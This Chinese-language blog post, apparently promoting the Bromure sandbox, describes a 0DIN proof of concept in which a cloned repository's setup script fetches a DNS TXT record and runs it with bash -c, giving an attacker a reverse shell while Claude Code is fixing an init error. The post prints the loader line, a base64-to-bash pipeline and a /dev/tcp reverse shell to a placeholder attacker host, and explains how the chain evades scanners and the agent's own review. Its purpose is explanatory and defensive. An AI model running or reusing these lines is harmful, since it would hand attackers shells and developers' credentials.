Claude Code 从未选择打开那个 shell

你克隆了某人在招聘启事里贴出的一个仓库。README 里有两行安装步骤， 就是每个 Python 项目都有的那种。你把文件夹交给 Claude Code，说一句 "把它跑起来"，然后起身去续杯咖啡。等你坐回来的时候，你笔记本上的 一个进程已经拨号连上了攻击者的服务器，把一个交互式 shell 交到了别人 手里——带着你这个用户的权限、你的环境变量，还有你的 SSH 密钥。Claude Code 报告说它修好了一个小小的初始化错误，项目已经就绪。

这就是 Andre Hall 和 Miller Engelbrecht 于 2026 年 6 月 25 日为 0DIN ——Mozilla 的 AI 漏洞赏金计划——发布的那个概念验证。 BleepingComputer 两天后做了报道。这个仓库是一个演示，不是真正在跑的恶意软件，而那套 机制本身才是全部重点。

三个无害的文件

0DIN 的仓库由三部分组成，每一部分都是那种你自己也会这么写的东西。

README 让你运行两条命令：

pip3 install -r requirements.txt
python3 -m axiom init

安装依赖，初始化工具。没什么需要警惕的。

这个包在你初始化它之前拒绝运行。如果安装步骤还没执行，axiom/__init__.py 就会抛出一个错误：

if not os.path.exists(TOKEN) and sys.argv[1:2] != ['init']:
    raise RuntimeError(
        "Axiom not initialised.\n"
        "Run: python3 -m axiom init"
    )

大量真实的包都是这样失败的，给出一条清晰的消息，点名那条能修好它的 命令。评审者会把这读成防御式编程，因为它确实是。

init 命令会运行一个安装脚本。scripts/setup.sh 看上去像是在获取一个 配置值：

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

它向一台 DNS 服务器请求 _axiom-config.m100.cloud 的 TXT 记录，去掉 引号，如果有任何东西返回，就把它当作一条 shell 命令执行。

最后那一行就是整个攻击，而它本身依然不含任何攻击。dig 是一次名称 查询。bash -c "$cfg" 运行 $cfg 里装着的任何东西。从头到尾把这个 仓库读一遍，你读到的是一个程序：它通过 DNS 取回一个字符串并执行它。 你并没有读到那个字符串，因为字符串不在仓库里。它住在攻击者的 DNS 服务器上。在那台服务器上，TXT 记录返回的是这个：

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash

把这段 base64 解码出来，你得到的是一个反向 shell：

bash -i >& /dev/tcp/<attacker-host>/4443 0>&1

bash 在 4443 端口上向攻击者打开一个 TCP 连接，并把自己的输入和 输出接到那个套接字上。攻击者敲键；你的机器执行。

载荷从来就不在仓库里

三套系统都审视过这个攻击，每一套都觉得平淡无奇。一个静态扫描器读了 仓库，看到一次 DNS 查询。网络监控盯着安装过程，看到一次发往公共 解析器的 TXT 查询——这是世界上最常见的 DNS 操作。Claude Code 读了 那些文件，看到一个安装脚本在做安装。反向 shell 在这三套视角里都不 出现，因为在它们任何一个去看的那一刻，反向 shell 还只是一个字符串， 躺在一台它们谁都没去查询的服务器上。

这就是 0DIN 所说的"间接"。README 指向 init 命令。init 命令指向 setup.sh。setup.sh 指向一条 DNS 记录。DNS 记录指向载荷。任何 评审这个仓库的东西，都在第三跳停下，看到的是一次名称查询。0DIN 数过这段距离："反向 shell 离 Claude Code 真正评估过的任何东西， 隔着三步间接。"

那条 DNS 记录也是攻击者牢牢攥在自己手里的部分。你可以审计这个仓库、 fork 它、把它钉死在某个 commit 上，而这一切都碰不到那个载荷，因为 没有人提交过那个载荷。攻击者改一改 TXT 记录，下一个运行安装的人就会 拿到一条不同的命令。他们可以在研究者盯着看的时候提供一个无害的字符 串，而对其他所有人提供一个反向 shell。他们可以在两个受害者之间把 监听端换到一台新主机上。仓库的 git 历史里什么都看不到，因为攻击者 从来没把它放进 git。

是代理决定去修一个错误

Claude Code 并没有评估了一个反向 shell 然后批准它。它撞上了一个 RuntimeError，读了那条消息，并在错误本身里找到了写好的修复方法： 运行 python3 -m axiom init。通过运行错误叫你运行的那条命令来清除 一个失败的构建步骤，是正确的行为。这是一个细心的工程师会做的事， 也是每一个编码代理被造出来就要做的事。

0DIN 的那句话值得细细品味："Claude Code 从未决定去打开一个 shell。 它决定的是去修一个错误。"恶意从未抵达代理推理所基于的那个表层。等到 反向 shell 的那些字节存在于机器上的时候，它们已经从一台 DNS 服务器 出发、穿过 bash -c，在代理当时执行的那行 README 之下好几步的地方 抵达了。没有可以拒绝的 prompt，没有可以标记的敌意文件，仓库里也没有 任何读起来危险的命令。代理做了一件有用的事，而一条它看不见的链条 做完了剩下的一切。

这是 ClickFix 攻击的代理版本。 ClickFix 给人看一个像是坏掉的页面和一个热心的补救办法：粘贴这条命令 来修复错误，或者运行这个片段来证明你不是机器人。人就跑了它，因为 照着一个看上去合理的修复去做，正是能干的人会做的事。0DIN 把同一套 把戏对着代理又演了一遍。错误是真的，建议的修复就是包文档里写的那条， 而紧跟修复之后的那一步，才是拿下机器的那一步。猎物不再是一个对着假 CAPTCHA 发困的人。它是一个正在清除失败构建的代理——这件事它做得比 人更快、也更稳定。

这不是 Claude Code 的 bug，换一个代理也没用。Cursor 的代理、Codex 和 Windsurf 全都会运行安装命令，全都会通过运行建议的修复来从错误中 恢复，因为这正是用户想要它们做的。0DIN 给代理的建议是把一条安装命令 实际会运行的东西摊开来，"包括它调用的任何脚本的内容，以及那个脚本在 运行时获取的任何东西。"在执行之前，把解析出来的 dig 结果和解码后的 bash -c 参数展示给操作者看。这有帮助。但它也依赖一个人去读这份被 摊开的输出，并在他们正想着摆脱阻塞的那一刻、恰好认出一个 base64 反向 shell——而那正是他们最不可能仔细看的时刻。

shell 落在哪里

上面的一切，无论你跑不跑 Bromure 都成立。代理运行 init 命令，DNS 查询解析成功，bash -c 执行那个载荷。Bromure 改变的是那个载荷在 哪里运行、以及它能够到什么。

Bromure Agentic Coding 把你的编码代理跑在一个按配置文件隔离的虚拟机 里——一个一次性的 Linux 访客系统，隔着一道 hypervisor 边界与 macOS 相望。Claude Code、克隆下来的仓库、pip、dig，还有那个反向 shell， 全都活在那个 VM 里。当 bash -i >& /dev/tcp/<attacker-host>/4443 运行时，连接是从访客系统打开的，攻击者收到的那个 shell，是一台一次性 Linux 机器上的 shell，不是你 Mac 上的。

那个 shell 找到了什么，是这个故事的后半段。一个反向 shell 之所以 值得拥有，是因为一个干活的开发者环境会递给它的东西：文章列出了 ANTHROPIC_API_KEY、AWS_SECRET_ACCESS_KEY 和 GITHUB_TOKEN，这些 凭据就摆在一个活生生的开发者 shell 里。而在一个 Bromure 配置文件里， 这些根本不在访客系统的环境里、无从读取。代理通过宿主上的一个凭据代理 来认证，和 ssh-agent 自 1990 年代起就一直用的是同一个模式：VM 请求 宿主去使用某个密钥，而它自己从不收到这个密钥。在访客系统里运行 env | grep KEY 的 shell，拿回来的是一堆桩值。这套论证更长的版本在 那个保管着钥匙的沙箱里；短版本 是：一个代理通过 proxy 使用的令牌，就是一个 VM 里的 shell 无法窃取的 令牌。

VM 也是一次性的。通过一个 SSH 密钥或一个 cron 任务实现的持久化—— 0DIN 列出的那些后续动作——落在一个你可以扔掉的访客系统里。丢掉这个 配置文件，立足点也跟着没了。宿主从来没运行过攻击者的代码。

代理无法编辑的那份记录

Claude Code 对这次会话的陈述说，它修好了一个初始化错误。这份陈述从 代理内部看是准确的，对取证却毫无用处，因为代理自己也从没看到那个 反向 shell。如果发生过的事情唯一的记录就是代理自己的日志，那么那次 DNS 取回和被生成的那个 shell，就会以它们在攻击发生时同样隐形的方式 继续隐形。

Bromure Enterprise 从 hypervisor 的宿主一侧记录会话：每一次工具调用、 shell 命令、文件编辑和退出码，都写进一条访客系统够不到、也改写不了 的 JSON Lines 流。对 _axiom-config.m100.cloud 的那次 dig 查询、 运行其结果的那个 bash -c，以及那次连往 4443 端口的出站连接，无论 代理提没提它们，都是那条流里的一条条记录。"这次会话有没有连到一台 谁都不认识的主机上的套接字"，就变成了一个你能去查的查询，而不是一件 你只能指望有人注意到了的事。这份捕获坐在代理之下，所以一个代理看不见 的载荷，依然是一个追踪能展示给你看的载荷。

Bromure 对此做了什么

凭据代理已经处理掉了那个显而易见的窃取：真正的密钥住在宿主上，VM 里只有桩值，访客系统里没有任何值得偷的令牌。下一步动作，才是一个被 窃取的 shell 真正擅长的事。大多数编码任务都需要连到真实系统的活连接， 一个生产环境的 Postgres、一个 Kubernetes 集群、一个 Docker 镜像仓库， 全都经由宿主中介，而反向 shell 继承了代理拥有的一切，因为它就是以 代理的身份在跑。

这正是 Guardrails 所在之处。Bromure 在协议层中介 那些连接，因此它读的是线缆上的那个操作，而不是从一个命令字符串里去 猜。一次 DROP DATABASE、一次 kubectl delete pod、一次会覆盖某个 镜像仓库标签的 push：Bromure 在协议里识别出那个破坏性操作，并在请求 离开 VM 之前就拒绝它。反向 shell 可以敲出那条命令。它没法让那条命令 越过 proxy——这正是当一条被投毒的指令叫代理去抹掉 staging 时，代理会 撞上的那同一堵墙。拒绝只取决于那个操作是什么。

留给攻击者的，是那个一次性的访客系统和递给它的那份检出代码。shell 可以把这两样都搅个稀烂，而这就是整个爆炸半径的全部：宿主从来没运行 过那段代码，宿主的密钥从来没进入过 VM，伸向你真实系统的那只破坏性 的手在 proxy 处停下，而 shell 跑过的每一条命令早已躺在宿主一侧的 追踪里。删掉配置文件，立足点也跟着没了。

假设代码一定会运行

总会再多出一层间接。0DIN 用的是 DNS。下一个用的是一个被攻陷的镜像， 或者一个 postinstall 脚本，或者一个真实的错误——它写在文档里的补救 方法恰好是毒药。每一道检测层，包括提示词注入分类器在内，都会缩小那个 能抵达代理的攻击集合，却从不会把它彻底关闭，而一个肯多走一跳的攻击者， 会像 0DIN 在这里绕过分类器那样绕过它。Bromure 是为它们当中某一个 得手的那一天而造的。它不把你的笔记本押在抓住载荷上；它假设代理会 运行某个它本不该运行的东西，并把自己的设计预算花在那个比一次漏抓 活得更久的问题上：一旦代码跑起来，它能够到什么。

最难抓住的载荷，就是那个没有人放进仓库的。你没法靠评审摆脱它，代理 也没法靠推理摆脱它，因为那个危险的字符串只在一台 DNS 服务器把它 交出来之后才存在。你能决定的，是代理在哪里运行不受信任的安装代码： 隔着一道 hypervisor 与你的笔记本相望，那里没有真正的密钥可拿，还有 一份它无法编辑的追踪。Bromure Agentic Coding 就是 把这个决定做成了默认。它今天就免费、开源。